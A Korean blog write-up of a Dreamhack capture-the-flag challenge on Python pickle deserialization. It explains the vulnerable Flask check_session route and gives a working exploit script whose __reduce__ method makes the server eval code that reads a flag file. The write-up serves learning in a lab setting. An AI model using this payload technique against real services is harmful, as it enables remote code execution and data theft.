[Dreamhack] Level2: web-deserialize-python

1. 문제 

https://dreamhack.io/wargame/challenges/40

web-deserialize-python

 

문제에서 Python(pickle)의 Deserialize 취약점을 이용해서 문제를 풀라고 제시되어있다. 

해당 취약점에 대해서는 처음 들어봐서 정리해보았다. ▼

https://mnzy.tistory.com/201

2. 해결 과정 

(1) 문제 페이지 접속 

 

- create Session >  정보 입력 > create

 

- sessionID 복사 후 check session 입력 > check

gAN9cQAoWAQAAABuYW1lcQFYBAAAAG1uenlxAlgGAAAAdXNlcmlkcQNYBAAAAHRlc3RxBFgIAAAAcGFzc3dvcmRxBVgEAAAAdGVzdHEGdS4=

 

(2) 코드 확인

- secret_key는 32비트의 랜덤한 값으로 이루어져 있다. 

app.secret_key = os.urandom(32)

 

- create_session

• post 요청으로 정보를 입력하여 전송하면, pickle 모듈을 이용하여 바이트 객체(bytes)로 반환(피클링)한 뒤 base64로 인코딩하고 UTF-8 문자열로 디코딩한 뒤 data에 저장한다.

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

 

- check_session 

• POST 요청으로 session값을 입력하여 전송하면, 세션 값을 바이너리 데이터(data)를 읽어 원래 객체로 복원(언피클링)하여 info에 저장한다.

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST':
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

 

따라서, 취약점은 check_session에서 언피클링할 때 존재한다.

이를 익스플로잇하여 임의의 코드를 실행해 flag 파일을 읽어오는 방식으로 진행할 수 있다. 

 

(3) 익스플로잇 

- 먼저 파이썬 코드를 작성하여 문제 코드에서 세션을 생성하는 방식과 동일하게 세션값을 생성해볼 수 있다. 

 

import pickle
import base64 

info={'name':'mnzy', 'userid':'test', 'password':'test'}
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
print(data)

 

- 이렇게 생성한 세션을 check_session에 넣어보면, 결과값을 정상적으로 출력하는 것을 확인할 수 있다. 

 

따라서 피클링하는 코드에서 __reduce__메서드를 통해 플래그를 읽는 명령어를 임의로 추가하여 세션을 생성해볼 수 있다.

이때, 플래그값을 읽은 결과는 name에 저장하여 결과화면 상 name에 출력되도록 한다. 

import base64
import pickle

class Exploit:
    def __reduce__(self):
        return (eval, ("open('./flag.txt').read()",))

exploit = {'name': Exploit(), 'userid':'hi', 'password':'hello'}

data = base64.b64encode(pickle.dumps(exploit)).decode('utf8')
print(data)

 

이후 생성한 세션값을 이용해서 check_session에 입력하여 언피클링하면 name 값으로 플래그를 읽은 값이 출력되어 나올 것이다.